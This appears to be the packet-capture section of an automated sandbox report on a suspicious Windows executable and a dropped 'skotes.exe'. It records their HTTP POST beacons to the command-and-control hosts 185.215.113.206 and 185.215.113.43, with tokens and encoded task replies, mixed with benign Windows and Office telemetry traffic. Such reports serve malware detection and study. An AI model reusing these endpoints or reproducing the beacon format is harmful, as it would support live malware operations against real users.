Dec 8, 2024 15:38:53.373583078 CET	1236	IN	Data Raw: 7f 6f 41 74 74 e9 2f ba bb cd cb d7 bc e5 63 e4 a4 29 fc 5b 0f 9e fd 73 14 a8 c8 40 88 4f 04 dc 8f 6f 41 74 74 61 2d ba bb cd ab d7 bc e5 63 44 a5 29 fc 5b ef 9e fd 73 14 a8 c8 40 88 4f 20 dc 9b 6f 41 74 74 69 28 ba bb cd 8b d7 bc e5 63 a4 a5 29 Data Ascii: oAtt/c)[s@OoAtta-cD)[s@O oAtti(c)[s@O pAtt+kc)[s@O8pAtt)/Kcd)[s@O+pAtt0+c)[os@O?pAtt(c$)[Os@OKpAtt1'c)
Dec 8, 2024 15:38:53.373600006 CET	1236	IN	Data Raw: 88 b1 c8 40 88 b1 c8 40 88 3a 87 60 12 70 71 80 40 db 71 79 ee a5 5a d1 7e 6a c5 e9 d3 cd 19 c8 be e5 c2 74 d1 e5 fb 73 a3 5b 46 77 bb 9d 12 74 bb e5 59 d1 7e 3c 87 f1 c3 6a fb e8 d4 66 fa 44 c3 e5 fb ea cc 3b 53 c5 a3 51 15 77 bb 68 c0 80 ee a5 Data Ascii: @@:`pq@qyZ~jts[FwtY~<jfD;SQwh[dD6Js1D:s%Z,sBt[\k8st\|ssCY7@:`G*~@@,@@@:`?s1etZ6Nlx>9awhs?
Dec 8, 2024 15:38:53.373613119 CET	1236	IN	Data Raw: 11 e9 36 b6 bf 5a 0a ff c1 20 41 80 30 ec ab 75 19 42 be 7c bb 17 bc d2 18 a7 04 74 87 b1 c8 40 88 b1 c8 40 88 38 87 50 3f d1 04 f7 9f dd 7f 38 c0 3a 87 df bf 6e 68 98 bf 70 e8 de ba 4d 4c fd ff e5 5f 15 bc e5 fb 73 0b 38 7f 60 14 86 10 94 01 e5 Data Ascii: 6Z A0uB\|t@@8P?8:nhpML_s8`.9E5ItnyTG(L8rnATt=0)p\|hv-hD.sHD:sev#M}A\rI<ZpML\|uH:8
Dec 8, 2024 15:38:53.492965937 CET	1236	IN	Data Raw: 21 f4 d1 75 a3 2c 09 77 bb 70 49 70 3f a9 04 3b c2 d5 13 b9 bb 70 c2 a7 88 43 e4 e7 5f e6 fb fe a0 42 be 78 bb b1 c8 40 88 b1 c8 40 88 b1 c8 40 88 3a 87 60 26 e4 64 2c 45 29 fc d7 5c e5 fb 73 bb 35 7f 60 c4 86 10 94 01 e5 2e 39 45 2a ec ca 0b 72 Data Ascii: !u,wpIp?;pC_Bx@@@:`&d,E)\s5`.9ErAh snq`tr2u[qs%Q\<s>`s>Z/Aup~:`?%HcdGR0Bssu'nr\|D3yG41YB\|6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49842	185.215.113.206	80	3660	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:38:58.978981972 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKFIIIJJKJJKEBGIDGC Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 46 49 49 49 4a 4a 4b 4a 4a 4b 45 42 47 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 61 30 63 34 39 62 33 35 61 32 31 37 35 34 39 33 38 37 66 30 31 61 33 33 63 32 38 65 63 34 65 35 33 34 65 38 38 38 30 37 32 64 36 66 39 34 66 63 64 34 30 37 62 63 30 33 65 32 66 61 63 36 34 63 32 66 64 35 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 49 49 49 4a 4a 4b 4a 4a 4b 45 42 47 49 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 49 49 49 4a 4a 4b 4a 4a 4b 45 42 47 49 44 47 43 2d 2d 0d 0a Data Ascii: ------IJKFIIIJJKJJKEBGIDGCContent-Disposition: form-data; name="token"d39a0c49b35a217549387f01a33c28ec4e534e888072d6f94fcd407bc03e2fac64c2fd51------IJKFIIIJJKJJKEBGIDGCContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IJKFIIIJJKJJKEBGIDGC--
Dec 8, 2024 15:39:00.802903891 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	50002	185.215.113.43	80	7456	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:40:04.811336040 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 8, 2024 15:40:06.153938055 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 08 Dec 2024 14:40:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	50009	185.215.113.43	80	7456	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:40:07.791440964 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 32 32 37 37 33 42 32 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B22773B25882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 8, 2024 15:40:09.140111923 CET	668	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 08 Dec 2024 14:40:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 64 64 0d 0a 20 3c 63 3e 31 30 31 33 31 39 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 65 32 65 63 31 31 30 31 61 65 36 30 32 62 32 31 61 31 64 30 33 35 64 62 31 65 63 65 63 32 39 38 38 38 39 39 61 35 35 33 36 65 36 23 31 30 31 33 32 30 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 33 32 30 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 31 33 32 30 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 [TRUNCATED] Data Ascii: 1dd <c>1013196001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9e2ec1101ae602b21a1d035db1ecec2988899a5536e6#1013201001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1013202001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1013203001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1013204001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49706	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:37:59 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 69 63 4c 61 45 55 45 73 70 30 61 4e 50 33 41 31 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 64 39 63 36 36 37 37 39 62 33 63 37 38 35 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: icLaEUEsp0aNP3A1.1Context: 2d9c66779b3c7853
2024-12-08 14:37:59 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-08 14:37:59 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 69 63 4c 61 45 55 45 73 70 30 61 4e 50 33 41 31 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 64 39 63 36 36 37 37 39 62 33 63 37 38 35 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 66 58 61 79 5a 75 6c 33 67 6b 6f 6f 50 45 4c 43 4a 48 4e 56 4e 64 45 5a 71 31 76 6f 41 33 75 33 7a 42 6e 4e 61 54 63 37 6b 4c 76 4a 33 74 70 70 46 6c 30 55 65 6e 42 6b 66 75 34 66 6d 39 47 64 36 55 76 38 2f 77 48 4b 47 43 74 76 6b 37 76 4c 4e 44 5a 4e 69 38 78 67 48 6f 79 72 50 55 57 4f 38 61 36 74 75 2f 69 51 45 4f 59 36 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: icLaEUEsp0aNP3A1.2Context: 2d9c66779b3c7853<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAffXayZul3gkooPELCJHNVNdEZq1voA3u3zBnNaTc7kLvJ3tppFl0UenBkfu4fm9Gd6Uv8/wHKGCtvk7vLNDZNi8xgHoyrPUWO8a6tu/iQEOY6
2024-12-08 14:37:59 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 69 63 4c 61 45 55 45 73 70 30 61 4e 50 33 41 31 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 64 39 63 36 36 37 37 39 62 33 63 37 38 35 33 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: icLaEUEsp0aNP3A1.3Context: 2d9c66779b3c7853
2024-12-08 14:38:00 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-08 14:38:00 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 38 6b 6a 62 65 31 4b 2b 2b 45 4b 35 4d 37 74 51 73 45 6e 59 50 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 8kjbe1K++EK5M7tQsEnYPg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49707	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:08 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 68 4b 34 41 50 39 62 61 6b 6b 47 71 35 74 73 4d 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 30 31 63 38 32 38 35 64 38 61 65 65 35 34 35 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: hK4AP9bakkGq5tsM.1Context: 401c8285d8aee545
2024-12-08 14:38:08 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-08 14:38:08 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 68 4b 34 41 50 39 62 61 6b 6b 47 71 35 74 73 4d 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 30 31 63 38 32 38 35 64 38 61 65 65 35 34 35 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 66 58 61 79 5a 75 6c 33 67 6b 6f 6f 50 45 4c 43 4a 48 4e 56 4e 64 45 5a 71 31 76 6f 41 33 75 33 7a 42 6e 4e 61 54 63 37 6b 4c 76 4a 33 74 70 70 46 6c 30 55 65 6e 42 6b 66 75 34 66 6d 39 47 64 36 55 76 38 2f 77 48 4b 47 43 74 76 6b 37 76 4c 4e 44 5a 4e 69 38 78 67 48 6f 79 72 50 55 57 4f 38 61 36 74 75 2f 69 51 45 4f 59 36 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: hK4AP9bakkGq5tsM.2Context: 401c8285d8aee545<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAffXayZul3gkooPELCJHNVNdEZq1voA3u3zBnNaTc7kLvJ3tppFl0UenBkfu4fm9Gd6Uv8/wHKGCtvk7vLNDZNi8xgHoyrPUWO8a6tu/iQEOY6
2024-12-08 14:38:08 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 68 4b 34 41 50 39 62 61 6b 6b 47 71 35 74 73 4d 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 30 31 63 38 32 38 35 64 38 61 65 65 35 34 35 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: hK4AP9bakkGq5tsM.3Context: 401c8285d8aee545<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-08 14:38:09 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-08 14:38:09 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 33 38 78 76 44 36 75 69 65 6b 75 7a 69 66 59 79 75 37 36 63 61 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 38xvD6uiekuzifYyu76caw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49709	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:11 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 2f 39 6f 2f 56 72 37 2b 44 6b 75 74 6c 36 62 4b 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 63 66 63 35 62 63 33 65 62 31 65 30 64 65 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: /9o/Vr7+Dkutl6bK.1Context: 8cfc5bc3eb1e0def
2024-12-08 14:38:11 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-08 14:38:11 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 2f 39 6f 2f 56 72 37 2b 44 6b 75 74 6c 36 62 4b 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 63 66 63 35 62 63 33 65 62 31 65 30 64 65 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 66 66 58 61 79 5a 75 6c 33 67 6b 6f 6f 50 45 4c 43 4a 48 4e 56 4e 64 45 5a 71 31 76 6f 41 33 75 33 7a 42 6e 4e 61 54 63 37 6b 4c 76 4a 33 74 70 70 46 6c 30 55 65 6e 42 6b 66 75 34 66 6d 39 47 64 36 55 76 38 2f 77 48 4b 47 43 74 76 6b 37 76 4c 4e 44 5a 4e 69 38 78 67 48 6f 79 72 50 55 57 4f 38 61 36 74 75 2f 69 51 45 4f 59 36 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: /9o/Vr7+Dkutl6bK.2Context: 8cfc5bc3eb1e0def<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAffXayZul3gkooPELCJHNVNdEZq1voA3u3zBnNaTc7kLvJ3tppFl0UenBkfu4fm9Gd6Uv8/wHKGCtvk7vLNDZNi8xgHoyrPUWO8a6tu/iQEOY6
2024-12-08 14:38:11 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 2f 39 6f 2f 56 72 37 2b 44 6b 75 74 6c 36 62 4b 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 63 66 63 35 62 63 33 65 62 31 65 30 64 65 66 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: /9o/Vr7+Dkutl6bK.3Context: 8cfc5bc3eb1e0def
2024-12-08 14:38:12 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-08 14:38:12 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 62 66 4f 6a 68 51 5a 61 6a 30 53 53 59 51 30 37 66 79 46 44 31 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: bfOjhQZaj0SSYQ07fyFD1A.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49710	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:38:15 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:38:16 UTC	471	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:38:16 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 07 Dec 2024 15:08:57 GMT ETag: "0x8DD16D112C941E3" x-ms-request-id: 2bf777ac-301e-0099-29dd-486683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143816Z-r1cf579d778qlpkrhC1EWRpfc800000006b0000000002hgc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:38:16 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-12-08 14:38:16 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
